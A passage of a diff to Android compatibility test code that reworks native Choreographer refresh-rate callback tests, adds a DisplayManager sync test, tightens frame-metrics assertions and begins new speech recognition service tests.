+    RefreshRateCallback cb2("cb2");
 
-    AChoreographer_registerRefreshRateCallback(choreographer, refreshRateCallback, cb1);
-    AChoreographer_registerRefreshRateCallback(choreographer, refreshRateCallback, cb2);
+    AChoreographer_registerRefreshRateCallback(choreographer, refreshRateCallback, &cb1);
+    AChoreographer_registerRefreshRateCallback(choreographer, refreshRateCallback, &cb2);
 
     // Give the display system time to push an initial refresh rate change.
     // Polling the event will allow both callbacks to be triggered.
     std::this_thread::sleep_for(NOMINAL_VSYNC_PERIOD * 10);
-    verifyRefreshRateCallback(env, cb1, 1);
-    verifyRefreshRateCallback(env, cb2, 1);
+    verifyRefreshRateCallback<RefreshRateCallback>(env, cb1, 1);
+    verifyRefreshRateCallback<RefreshRateCallback>(env, cb2, 1);
 
-    AChoreographer_unregisterRefreshRateCallback(choreographer, refreshRateCallback, cb1);
-    AChoreographer_unregisterRefreshRateCallback(choreographer, refreshRateCallback, cb2);
+    AChoreographer_unregisterRefreshRateCallback(choreographer, refreshRateCallback, &cb1);
+    AChoreographer_unregisterRefreshRateCallback(choreographer, refreshRateCallback, &cb2);
 }
 
 static void android_view_cts_ChoreographerNativeTest_testAttemptToAddRefreshRateCallbackTwiceDoesNotAddTwice(
         JNIEnv* env, jclass, jlong choreographerPtr) {
     AChoreographer* choreographer = reinterpret_cast<AChoreographer*>(choreographerPtr);
-    RefreshRateCallback* cb1 = new RefreshRateCallback("cb1");
-    RefreshRateCallback* cb2 = new RefreshRateCallback("cb2");
+    RefreshRateCallback cb1("cb1");
+    RefreshRateCallback cb2("cb2");
 
-    AChoreographer_registerRefreshRateCallback(choreographer, refreshRateCallback, cb1);
-    AChoreographer_registerRefreshRateCallback(choreographer, refreshRateCallback, cb1);
+    AChoreographer_registerRefreshRateCallback(choreographer, refreshRateCallback, &cb1);
+    AChoreographer_registerRefreshRateCallback(choreographer, refreshRateCallback, &cb1);
 
     // Give the display system time to push an initial callback.
     std::this_thread::sleep_for(NOMINAL_VSYNC_PERIOD * 10);
-    verifyRefreshRateCallback(env, cb1, 1);
+    verifyRefreshRateCallback<RefreshRateCallback>(env, cb1, 1);
 
-    AChoreographer_unregisterRefreshRateCallback(choreographer, refreshRateCallback, cb1);
+    AChoreographer_unregisterRefreshRateCallback(choreographer, refreshRateCallback, &cb1);
     // Flush out pending callback events for the callback
     std::this_thread::sleep_for(NOMINAL_VSYNC_PERIOD * 10);
     resetRefreshRateCallback(cb1);
 
-    AChoreographer_registerRefreshRateCallback(choreographer, refreshRateCallback, cb2);
+    AChoreographer_registerRefreshRateCallback(choreographer, refreshRateCallback, &cb2);
     // Verify that cb1 is not called again, even thiough it was registered once
     // and unregistered again
     std::this_thread::sleep_for(NOMINAL_VSYNC_PERIOD * 10);
-    verifyRefreshRateCallback(env, cb1, 0);
-    AChoreographer_unregisterRefreshRateCallback(choreographer, refreshRateCallback, cb2);
+    verifyRefreshRateCallback<RefreshRateCallback>(env, cb1, 0);
+    AChoreographer_unregisterRefreshRateCallback(choreographer, refreshRateCallback, &cb2);
 }
 
 // This test must be run on the UI thread for fine-grained control of looper
@@ -400,27 +431,27 @@
 static void android_view_cts_ChoreographerNativeTest_testRefreshRateCallbackMixedWithFrameCallbacks(
         JNIEnv* env, jclass, jlong choreographerPtr) {
     AChoreographer* choreographer = reinterpret_cast<AChoreographer*>(choreographerPtr);
-    RefreshRateCallback* cb = new RefreshRateCallback("cb");
+    RefreshRateCallback cb("cb");
 
-    AChoreographer_registerRefreshRateCallback(choreographer, refreshRateCallback, cb);
+    AChoreographer_registerRefreshRateCallback(choreographer, refreshRateCallback, &cb);
 
-    Callback* cb1 = new Callback("cb1");
-    Callback* cb64 = new Callback("cb64");
+    Callback cb1("cb1");
+    Callback cb64("cb64");
     auto start = now();
 
     auto vsyncPeriod = std::chrono::duration_cast<std::chrono::milliseconds>(
                            NOMINAL_VSYNC_PERIOD)
                            .count();
     auto delay = std::chrono::duration_cast<std::chrono::milliseconds>(DELAY_PERIOD).count();
-    AChoreographer_postFrameCallbackDelayed(choreographer, frameCallback, cb1, delay);
-    AChoreographer_postFrameCallbackDelayed64(choreographer, frameCallback64, cb64, delay);
+    AChoreographer_postFrameCallbackDelayed(choreographer, frameCallback, &cb1, delay);
+    AChoreographer_postFrameCallbackDelayed64(choreographer, frameCallback64, &cb64, delay);
 
     std::this_thread::sleep_for(DELAY_PERIOD + NOMINAL_VSYNC_PERIOD * 10);
     // Ensure that callbacks are seen by the looper instance at approximately
     // the same time, and provide enough time for the looper instance to process
     // the delayed callback and the requested vsync signal if needed.
     ALooper_pollAll(vsyncPeriod * 5, nullptr, nullptr, nullptr);
-    verifyRefreshRateCallback(env, cb, 1);
+    verifyRefreshRateCallback<RefreshRateCallback>(env, cb, 1);
     verifyCallback(env, cb64, 1, start,
                    DELAY_PERIOD + NOMINAL_VSYNC_PERIOD * 15);
     const auto delayToTestFor32Bit =
@@ -428,41 +459,89 @@
             ? DELAY_PERIOD + NOMINAL_VSYNC_PERIOD * 15
             : ZERO;
     verifyCallback(env, cb1, 1, start, delayToTestFor32Bit);
-    AChoreographer_unregisterRefreshRateCallback(choreographer, refreshRateCallback, cb);
+    AChoreographer_unregisterRefreshRateCallback(choreographer, refreshRateCallback, &cb);
+}
+
+// This test cannot be run on the UI thread because it relies on callbacks to be dispatched on the
+// application UI thread.
+static void
+android_view_cts_ChoreographerNativeTest_testRefreshRateCallbacksAreSyncedWithDisplayManager(
+        JNIEnv* env, jobject clazz) {
+    // Test harness choreographer is not on the main thread, so create a thread-local choreographer
+    // instance.
+    ALooper_prepare(0);
+    AChoreographer* choreographer = AChoreographer_getInstance();
+    RefreshRateCallbackWithDisplayManager cb("cb", env, clazz);
+
+    AChoreographer_registerRefreshRateCallback(choreographer, refreshRateCallbackWithDisplayManager,
+                                               &cb);
+
+    auto delayPeriod = std::chrono::duration_cast<std::chrono::milliseconds>(DELAY_PERIOD).count();
+
+    const size_t numRuns = 1000;
+    int previousCount = 0;
+    for (int i = 0; i < numRuns; ++i) {
+        const size_t numTries = 5;
+        for (int j = 0; j < numTries; j++) {
+            // In theory we only need to poll once because the test harness configuration should
+            // enforce that we won't get spurious callbacks. In practice, there may still be
+            // spurious callbacks due to hotplug or other display events that aren't suppressed. So
+            // we add some slack by retrying a few times, but we stop at the first refresh rate
+            // callback (1) to keep the test runtime reasonably short, and (2) to keep the test
+            // under better control so that it does not spam the system with refresh rate changes.
+            int result = ALooper_pollOnce(delayPeriod * 5, nullptr, nullptr, nullptr);
+            ASSERT(result == ALOOPER_POLL_CALLBACK, "Callback failed on run: %d with error: %d", i,
+                   result);
+            if (previousCount != cb.count) {
+                verifyRefreshRateCallback<RefreshRateCallbackWithDisplayManager>(env, cb,
+                                                                                 previousCount + 1);
+                previousCount = cb.count;
+                break;
+            }
+
+            ASSERT(j < numTries - 1, "No callback observed for run: %d", i);
+        }
+    }
+    AChoreographer_unregisterRefreshRateCallback(choreographer, refreshRateCallback, &cb);
 }
 
 static JNINativeMethod gMethods[] = {
-    {  "nativeGetChoreographer", "()J",
-            (void *) android_view_cts_ChoreographerNativeTest_getChoreographer},
-    {  "nativePrepareChoreographerTests", "(J[J)Z",
-            (void *) android_view_cts_ChoreographerNativeTest_prepareChoreographerTests},
-    {  "nativeTestPostCallback64WithoutDelayEventuallyRunsCallbacks", "(J)V",
-            (void *) android_view_cts_ChoreographerNativeTest_testPostCallback64WithoutDelayEventuallyRunsCallback},
-    {  "nativeTestPostCallback64WithDelayEventuallyRunsCallbacks", "(J)V",
-            (void *) android_view_cts_ChoreographerNativeTest_testPostCallback64WithDelayEventuallyRunsCallback},
-    {  "nativeTestPostCallbackWithoutDelayEventuallyRunsCallbacks", "(J)V",
-            (void *) android_view_cts_ChoreographerNativeTest_testPostCallbackWithoutDelayEventuallyRunsCallback},
-    {  "nativeTestPostCallbackWithDelayEventuallyRunsCallbacks", "(J)V",
-            (void *) android_view_cts_ChoreographerNativeTest_testPostCallbackWithDelayEventuallyRunsCallback},
-    {  "nativeTestPostCallbackMixedWithoutDelayEventuallyRunsCallbacks", "(J)V",
-            (void *) android_view_cts_ChoreographerNativeTest_testPostCallbackMixedWithoutDelayEventuallyRunsCallback},
-    {  "nativeTestPostCallbackMixedWithDelayEventuallyRunsCallbacks", "(J)V",
-            (void *) android_view_cts_ChoreographerNativeTest_testPostCallbackMixedWithDelayEventuallyRunsCallback},
-    {  "nativeTestRefreshRateCallback", "(J)V",
-            (void *) android_view_cts_ChoreographerNativeTest_testRefreshRateCallback},
-    {  "nativeTestUnregisteringRefreshRateCallback", "(J)V",
-            (void *) android_view_cts_ChoreographerNativeTest_testUnregisteringRefreshRateCallback},
-    {  "nativeTestMultipleRefreshRateCallbacks", "(J)V",
-            (void *) android_view_cts_ChoreographerNativeTest_testMultipleRefreshRateCallbacks},
-    {  "nativeTestAttemptToAddRefreshRateCallbackTwiceDoesNotAddTwice", "(J)V",
-            (void *) android_view_cts_ChoreographerNativeTest_testAttemptToAddRefreshRateCallbackTwiceDoesNotAddTwice},
-    {  "nativeTestRefreshRateCallbackMixedWithFrameCallbacks", "(J)V",
-            (void *) android_view_cts_ChoreographerNativeTest_testRefreshRateCallbackMixedWithFrameCallbacks},
+        {"nativeGetChoreographer", "()J",
+         (void*)android_view_cts_ChoreographerNativeTest_getChoreographer},
+        {"nativePrepareChoreographerTests", "(J[J)Z",
+         (void*)android_view_cts_ChoreographerNativeTest_prepareChoreographerTests},
+        {"nativeTestPostCallback64WithoutDelayEventuallyRunsCallbacks", "(J)V",
+         (void*)android_view_cts_ChoreographerNativeTest_testPostCallback64WithoutDelayEventuallyRunsCallback},
+        {"nativeTestPostCallback64WithDelayEventuallyRunsCallbacks", "(J)V",
+         (void*)android_view_cts_ChoreographerNativeTest_testPostCallback64WithDelayEventuallyRunsCallback},
+        {"nativeTestPostCallbackWithoutDelayEventuallyRunsCallbacks", "(J)V",
+         (void*)android_view_cts_ChoreographerNativeTest_testPostCallbackWithoutDelayEventuallyRunsCallback},
+        {"nativeTestPostCallbackWithDelayEventuallyRunsCallbacks", "(J)V",
+         (void*)android_view_cts_ChoreographerNativeTest_testPostCallbackWithDelayEventuallyRunsCallback},
+        {"nativeTestPostCallbackMixedWithoutDelayEventuallyRunsCallbacks", "(J)V",
+         (void*)android_view_cts_ChoreographerNativeTest_testPostCallbackMixedWithoutDelayEventuallyRunsCallback},
+        {"nativeTestPostCallbackMixedWithDelayEventuallyRunsCallbacks", "(J)V",
+         (void*)android_view_cts_ChoreographerNativeTest_testPostCallbackMixedWithDelayEventuallyRunsCallback},
+        {"nativeTestRefreshRateCallback", "(J)V",
+         (void*)android_view_cts_ChoreographerNativeTest_testRefreshRateCallback},
+        {"nativeTestUnregisteringRefreshRateCallback", "(J)V",
+         (void*)android_view_cts_ChoreographerNativeTest_testUnregisteringRefreshRateCallback},
+        {"nativeTestMultipleRefreshRateCallbacks", "(J)V",
+         (void*)android_view_cts_ChoreographerNativeTest_testMultipleRefreshRateCallbacks},
+        {"nativeTestAttemptToAddRefreshRateCallbackTwiceDoesNotAddTwice", "(J)V",
+         (void*)android_view_cts_ChoreographerNativeTest_testAttemptToAddRefreshRateCallbackTwiceDoesNotAddTwice},
+        {"nativeTestRefreshRateCallbackMixedWithFrameCallbacks", "(J)V",
+         (void*)android_view_cts_ChoreographerNativeTest_testRefreshRateCallbackMixedWithFrameCallbacks},
+        {"nativeTestRefreshRateCallbacksAreSyncedWithDisplayManager", "()V",
+         (void*)android_view_cts_ChoreographerNativeTest_testRefreshRateCallbacksAreSyncedWithDisplayManager},
 };
 
 int register_android_view_cts_ChoreographerNativeTest(JNIEnv* env)
 {
     jclass clazz = env->FindClass("android/view/cts/ChoreographerNativeTest");
+    gJni.choreographerNativeTest.clazz = static_cast<jclass>(env->NewGlobalRef(clazz));
+    gJni.choreographerNativeTest.checkRefreshRateIsCurrentAndSwitch =
+            env->GetMethodID(clazz, "checkRefreshRateIsCurrentAndSwitch", "(I)V");
     return env->RegisterNatives(clazz, gMethods,
             sizeof(gMethods) / sizeof(JNINativeMethod));
 }
diff --git a/tests/tests/view/src/android/view/cts/ChoreographerNativeTest.java b/tests/tests/view/src/android/view/cts/ChoreographerNativeTest.java
index a8e0134..4fd3f0f 100644
--- a/tests/tests/view/src/android/view/cts/ChoreographerNativeTest.java
+++ b/tests/tests/view/src/android/view/cts/ChoreographerNativeTest.java
@@ -16,21 +16,32 @@
 
 package android.view.cts;
 
+import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
+import android.Manifest;
 import android.content.Context;
 import android.hardware.display.DisplayManager;
+import android.os.Handler;
+import android.os.Looper;
 import android.view.Display;
+import android.view.Display.Mode;
+import android.view.Window;
+import android.view.WindowManager;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.annotation.UiThreadTest;
 import androidx.test.filters.FlakyTest;
 import androidx.test.filters.MediumTest;
 import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.AdoptShellPermissionsRule;
+
 import org.junit.Before;
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -43,6 +54,18 @@
 public class ChoreographerNativeTest {
     private long mChoreographerPtr;
 
+    @Rule
+    public ActivityTestRule<CtsActivity> mTestActivityRule =
+            new ActivityTestRule<>(
+                CtsActivity.class);
+
+    @Rule
+    public final AdoptShellPermissionsRule mShellPermissionsRule =
+            new AdoptShellPermissionsRule(
+                    InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+                    Manifest.permission.OVERRIDE_DISPLAY_MODE_REQUESTS,
+                    Manifest.permission.MODIFY_REFRESH_RATE_SWITCHING_TYPE);
+
     private static native long nativeGetChoreographer();
     private static native boolean nativePrepareChoreographerTests(long ptr, long[] refreshPeriods);
     private static native void nativeTestPostCallbackWithoutDelayEventuallyRunsCallbacks(long ptr);
@@ -61,9 +84,12 @@
     private static native void nativeTestAttemptToAddRefreshRateCallbackTwiceDoesNotAddTwice(
             long ptr);
     private static native void nativeTestRefreshRateCallbackMixedWithFrameCallbacks(long ptr);
+    private native void nativeTestRefreshRateCallbacksAreSyncedWithDisplayManager();
 
     private Context mContext;
     private DisplayManager mDisplayManager;
+    private Display mDefaultDisplay;
+    private long[] mSupportedPeriods;
 
     static {
         System.loadLibrary("ctsview_jni");
@@ -80,14 +106,14 @@
                 .findFirst();
 
         assertTrue(defaultDisplayOpt.isPresent());
-        Display defaultDisplay = defaultDisplayOpt.get();
+        mDefaultDisplay = defaultDisplayOpt.get();
 
-        long[] supportedPeriods = Arrays.stream(defaultDisplay.getSupportedModes())
+        mSupportedPeriods = Arrays.stream(mDefaultDisplay.getSupportedModes())
                 .mapToLong(mode -> (long) (Duration.ofSeconds(1).toNanos() / mode.getRefreshRate()))
                 .toArray();
 
         mChoreographerPtr = nativeGetChoreographer();
-        if (!nativePrepareChoreographerTests(mChoreographerPtr, supportedPeriods)) {
+        if (!nativePrepareChoreographerTests(mChoreographerPtr, mSupportedPeriods)) {
             fail("Failed to setup choreographer tests");
         }
     }
@@ -159,4 +185,57 @@
         nativeTestRefreshRateCallbackMixedWithFrameCallbacks(mChoreographerPtr);
     }
 
+    @SmallTest
+    @Test
+    public void testRefreshRateCallbacksIsSyncedWithDisplayManager() {
+        if (mSupportedPeriods.length <= 1) {
+            return;
+        }
+        int initialMatchContentFrameRate = 0;
+        try {
+
+            // Set-up just for this particular test:
+            // We must force the screen to be on for this window, and DisplayManager must be
+            // configured to always respect the app-requested refresh rate.
+            Handler handler = new Handler(Looper.getMainLooper());
+            handler.post(() -> {
+                mTestActivityRule.getActivity().getWindow().addFlags(
+                        WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD
+                                | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON
+                                | WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+            });
+            mDisplayManager.setShouldAlwaysRespectAppRequestedMode(true);
+            initialMatchContentFrameRate = mDisplayManager.getRefreshRateSwitchingType();
+            mDisplayManager.setRefreshRateSwitchingType(DisplayManager.SWITCHING_TYPE_NONE);
+            nativeTestRefreshRateCallbacksAreSyncedWithDisplayManager();
+        } finally {
+            mDisplayManager.setRefreshRateSwitchingType(initialMatchContentFrameRate);
+            mDisplayManager.setShouldAlwaysRespectAppRequestedMode(false);
+        }
+    }
+
+    // Called by jni in a refresh rate callback
+    private void checkRefreshRateIsCurrentAndSwitch(int refreshRate) {
+        assertEquals(Math.round(mDefaultDisplay.getRefreshRate()), refreshRate);
+
+        Optional<Mode> nextMode = Arrays.stream(mDefaultDisplay.getSupportedModes())
+                .sorted((left, right) ->
+                        Float.compare(right.getRefreshRate(), left.getRefreshRate()))
+                .filter(mode ->  Math.round(mode.getRefreshRate()) != refreshRate)
+                .findFirst();
+
+        assertTrue(nextMode.isPresent());
+
+        Mode mode = nextMode.get();
+        Handler handler = new Handler(Looper.getMainLooper());
+        handler.post(() -> {
+            Window window = mTestActivityRule.getActivity().getWindow();
+            WindowManager.LayoutParams params = window.getAttributes();
+            params.preferredDisplayModeId = mode.getModeId();
+            window.setAttributes(params);
+        });
+    }
+
+
+
 }
diff --git a/tests/tests/view/src/android/view/cts/FrameMetricsListenerTest.java b/tests/tests/view/src/android/view/cts/FrameMetricsListenerTest.java
index 1d741aa..6ee1441 100644
--- a/tests/tests/view/src/android/view/cts/FrameMetricsListenerTest.java
+++ b/tests/tests/view/src/android/view/cts/FrameMetricsListenerTest.java
@@ -175,27 +175,42 @@
     }
 
     private void callGetMetric(FrameMetrics frameMetrics) {
-        // The return values for non-boolean metrics do not have expected values. Here we
-        // are verifying that calling getMetrics does not crash
-        frameMetrics.getMetric(FrameMetrics.UNKNOWN_DELAY_DURATION);
-        frameMetrics.getMetric(FrameMetrics.INPUT_HANDLING_DURATION);
-        frameMetrics.getMetric(FrameMetrics.ANIMATION_DURATION);
-        frameMetrics.getMetric(FrameMetrics.LAYOUT_MEASURE_DURATION);
-        frameMetrics.getMetric(FrameMetrics.DRAW_DURATION);
-        frameMetrics.getMetric(FrameMetrics.SYNC_DURATION);
-        frameMetrics.getMetric(FrameMetrics.COMMAND_ISSUE_DURATION);
-        frameMetrics.getMetric(FrameMetrics.SWAP_BUFFERS_DURATION);
-        frameMetrics.getMetric(FrameMetrics.TOTAL_DURATION);
 
         // Perform basic checks on timestamp values.
+        long unknownDelay = frameMetrics.getMetric(FrameMetrics.UNKNOWN_DELAY_DURATION);
+        long input = frameMetrics.getMetric(FrameMetrics.INPUT_HANDLING_DURATION);
+        long animation = frameMetrics.getMetric(FrameMetrics.ANIMATION_DURATION);
+        long layoutMeasure = frameMetrics.getMetric(FrameMetrics.LAYOUT_MEASURE_DURATION);
+        long draw = frameMetrics.getMetric(FrameMetrics.DRAW_DURATION);
+        long sync = frameMetrics.getMetric(FrameMetrics.SYNC_DURATION);
+        long commandIssue = frameMetrics.getMetric(FrameMetrics.COMMAND_ISSUE_DURATION);
+        long swapBuffers = frameMetrics.getMetric(FrameMetrics.SWAP_BUFFERS_DURATION);
+        long gpuDuration = frameMetrics.getMetric(FrameMetrics.GPU_DURATION);
+        long deadline = frameMetrics.getMetric(FrameMetrics.DEADLINE);
+        long totalDuration = frameMetrics.getMetric(FrameMetrics.TOTAL_DURATION);
         long intended_vsync = frameMetrics.getMetric(FrameMetrics.INTENDED_VSYNC_TIMESTAMP);
         long vsync = frameMetrics.getMetric(FrameMetrics.VSYNC_TIMESTAMP);
-        long now = System.nanoTime();
+
+        assertTrue(unknownDelay > 0);
+        assertTrue(input > 0);
+        assertTrue(animation > 0);
+        assertTrue(layoutMeasure > 0);
+        assertTrue(draw > 0);
+        assertTrue(sync > 0);
+        assertTrue(commandIssue > 0);
+        assertTrue(swapBuffers > 0);
         assertTrue(intended_vsync > 0);
         assertTrue(vsync > 0);
+        assertTrue(gpuDuration > 0);
+        assertTrue(totalDuration > 0);
+        assertTrue(deadline > 0);
+
+        long now = System.nanoTime();
         assertTrue(intended_vsync < now);
         assertTrue(vsync < now);
         assertTrue(vsync >= intended_vsync);
+        assertTrue(totalDuration >= unknownDelay + input + animation + layoutMeasure + draw + sync
+                + commandIssue + swapBuffers + gpuDuration);
 
         // This is the only boolean metric so far
         final long firstDrawFrameMetric = frameMetrics.getMetric(FrameMetrics.FIRST_DRAW_FRAME);
diff --git a/tests/tests/voiceRecognition/AndroidManifest.xml b/tests/tests/voiceRecognition/AndroidManifest.xml
index 41e29cb..1370eb1 100644
--- a/tests/tests/voiceRecognition/AndroidManifest.xml
+++ b/tests/tests/voiceRecognition/AndroidManifest.xml
@@ -28,6 +28,15 @@
                   android:label="SpeechRecognitionActivity"
                   android:exported="true">
         </activity>
+
+        <service android:name="CtsRecognitionService"
+                 android:label="@string/service_name"
+                 android:exported="true">
+            <intent-filter>
+                <action android:name="android.speech.RecognitionService" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </service>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/voiceRecognition/RecognitionService/src/com/android/recognitionservice/service/CtsVoiceRecognitionService.java b/tests/tests/voiceRecognition/RecognitionService/src/com/android/recognitionservice/service/CtsVoiceRecognitionService.java
index d0590a4..cda65f00 100644
--- a/tests/tests/voiceRecognition/RecognitionService/src/com/android/recognitionservice/service/CtsVoiceRecognitionService.java
+++ b/tests/tests/voiceRecognition/RecognitionService/src/com/android/recognitionservice/service/CtsVoiceRecognitionService.java
@@ -56,7 +56,9 @@
             // empty bundle here.
             try {
                 listener.results(Bundle.EMPTY);
+                Log.i(TAG, "Invoked #results");
             } catch (RemoteException e) {
+                Log.e(TAG, "Failed to invoke #results", e);
             }
         }
         mediaRecorderReady();
diff --git a/tests/tests/voiceRecognition/res/values/strings.xml b/tests/tests/voiceRecognition/res/values/strings.xml
new file mode 100644
index 0000000..6a1c7da
--- /dev/null
+++ b/tests/tests/voiceRecognition/res/values/strings.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="service_name">CtsRecognitionService</string>
+</resources>
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/AbstractRecognitionServiceTest.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/AbstractRecognitionServiceTest.java
new file mode 100644
index 0000000..6f89c28
--- /dev/null
+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/AbstractRecognitionServiceTest.java
@@ -0,0 +1,343 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.voicerecognition.cts;
+
+import static android.voicerecognition.cts.CallbackMethod.CALLBACK_METHOD_ERROR;
+import static android.voicerecognition.cts.CallbackMethod.CALLBACK_METHOD_RESULTS;
+import static android.voicerecognition.cts.CallbackMethod.CALLBACK_METHOD_UNSPECIFIED;
+import static android.voicerecognition.cts.RecognizerMethod.RECOGNIZER_METHOD_CANCEL;
+import static android.voicerecognition.cts.RecognizerMethod.RECOGNIZER_METHOD_DESTROY;
+import static android.voicerecognition.cts.RecognizerMethod.RECOGNIZER_METHOD_START_LISTENING;
+import static android.voicerecognition.cts.RecognizerMethod.RECOGNIZER_METHOD_STOP_LISTENING;
+import static android.voicerecognition.cts.TestObjects.START_LISTENING_INTENT;
+
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assert.fail;
+
+import android.os.SystemClock;
+import android.support.test.uiautomator.UiDevice;
+import android.util.Log;
+
+import androidx.annotation.Nullable;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+
+import com.android.compatibility.common.util.PollingCheck;
+
+import com.google.common.collect.ImmutableList;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+
+/** Abstract implementation for {@link android.speech.SpeechRecognizer} CTS tests. */
+abstract class AbstractRecognitionServiceTest {
+    private static final String TAG = AbstractRecognitionServiceTest.class.getSimpleName();
+
+    private static final long INDICATOR_DISMISS_TIMEOUT = 5000L;
+    private static final long WAIT_TIMEOUT_MS = 30000L; // 30 secs
+    private static final long SEQUENCE_TEST_WAIT_TIMEOUT_MS = 5000L;
+
+    private final String CTS_VOICE_RECOGNITION_SERVICE =
+            "android.recognitionservice.service/android.recognitionservice.service"
+                    + ".CtsVoiceRecognitionService";
+
+    private final String IN_PACKAGE_RECOGNITION_SERVICE =
+            "android.voicerecognition.cts/android.voicerecognition.cts.CtsRecognitionService";
+
+    @Rule
+    public ActivityTestRule<SpeechRecognitionActivity> mActivityTestRule =
+            new ActivityTestRule<>(SpeechRecognitionActivity.class);
+
+    private UiDevice mUiDevice;
+    private SpeechRecognitionActivity mActivity;
+
+    abstract void setCurrentRecognizer(String recognizer);
+
+    abstract boolean isOnDeviceTest();
+
+    @Nullable
+    abstract String customRecognizer();
+
+    @Before
+    public void setup() {
+        prepareDevice();
+        mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        mActivity = mActivityTestRule.getActivity();
+        mActivity.init(isOnDeviceTest(), customRecognizer());
+    }
+
+    @Test
+    public void testStartListening() throws Throwable {
+        setCurrentRecognizer(CTS_VOICE_RECOGNITION_SERVICE);
+        mUiDevice.waitForIdle();
+
+        mActivity.startListening();
+        try {
+            // startListening() will call noteProxyOpNoTrow(), if the permission check pass then the
+            // RecognitionService.onStartListening() will be called. Otherwise, a TimeoutException
+            // will be thrown.
+            assertThat(mActivity.mCountDownLatch.await(WAIT_TIMEOUT_MS, TimeUnit.MILLISECONDS)).isTrue();
+        } catch (InterruptedException e) {
+            assertWithMessage("onStartListening() not called. " + e).fail();
+        }
+        // Wait for the privacy indicator to disappear to avoid the test becoming flaky.
+        SystemClock.sleep(INDICATOR_DISMISS_TIMEOUT);
+    }
+
+    @Test
+    public void sequenceTest_startListening_stopListening_results() {
+        executeSequenceTest(
+                /* service methods to call: */ ImmutableList.of(
+                        RECOGNIZER_METHOD_START_LISTENING,
+                        RECOGNIZER_METHOD_STOP_LISTENING),
+                /* callback methods to call: */ ImmutableList.of(
+                        CALLBACK_METHOD_UNSPECIFIED,
+                        CALLBACK_METHOD_RESULTS),
+                /* expected service methods propagated: */ ImmutableList.of(true, true),
+                /* expected callback methods invoked: */ ImmutableList.of(
+                        CALLBACK_METHOD_RESULTS)
+                );
+    }
+
+    /** Tests that stopListening() is ignored after results(). */
+    @Test
+    public void sequenceTest_startListening_results_stopListening() {
+        executeSequenceTest(
+                /* service methods to call: */ ImmutableList.of(
+                        RECOGNIZER_METHOD_START_LISTENING,
+                        RECOGNIZER_METHOD_STOP_LISTENING),
+                /* callback methods to call: */ ImmutableList.of(
+                        CALLBACK_METHOD_RESULTS),
+                /* expected service methods propagated: */ ImmutableList.of(true, false),
+                /* expected callback methods invoked: */ ImmutableList.of(
+                        CALLBACK_METHOD_RESULTS,
+                        CALLBACK_METHOD_ERROR)
+                );
+    }
+
+    /** Tests that cancel() is ignored after results(). */
+    @Test
+    public void sequenceTest_startListening_results_cancel() {
+        executeSequenceTest(
+                /* service methods to call: */ ImmutableList.of(
+                        RECOGNIZER_METHOD_START_LISTENING,
+                        RECOGNIZER_METHOD_CANCEL),
+                /* callback methods to call: */ ImmutableList.of(
+                        CALLBACK_METHOD_RESULTS),
+                /* expected service methods propagated: */ ImmutableList.of(true, false),
+                /* expected callback methods invoked: */ ImmutableList.of(
+                        CALLBACK_METHOD_RESULTS)
+        );
+    }
+
+    /** Tests that we can kick off execution again after results(). */
+    @Test
+    public void sequenceTest_startListening_results_startListening_results() {
+        executeSequenceTest(
+                /* service methods to call: */ ImmutableList.of(
+                        RECOGNIZER_METHOD_START_LISTENING,
+                        RECOGNIZER_METHOD_START_LISTENING),
+                /* callback methods to call: */ ImmutableList.of(
+                        CALLBACK_METHOD_RESULTS,
+                        CALLBACK_METHOD_RESULTS),
+                /* expected service methods propagated: */ ImmutableList.of(true, true),
+                /* expected callback methods invoked: */ ImmutableList.of(
+                        CALLBACK_METHOD_RESULTS,
+                        CALLBACK_METHOD_RESULTS)
+        );
+    }
+
+    @Test
+    public void sequenceTest_startListening_cancel() {
+        executeSequenceTest(
+                /* service methods to call: */ ImmutableList.of(
+                        RECOGNIZER_METHOD_START_LISTENING,
+                        RECOGNIZER_METHOD_CANCEL),
+                /* callback methods to call: */ ImmutableList.of(
+                        CALLBACK_METHOD_UNSPECIFIED,
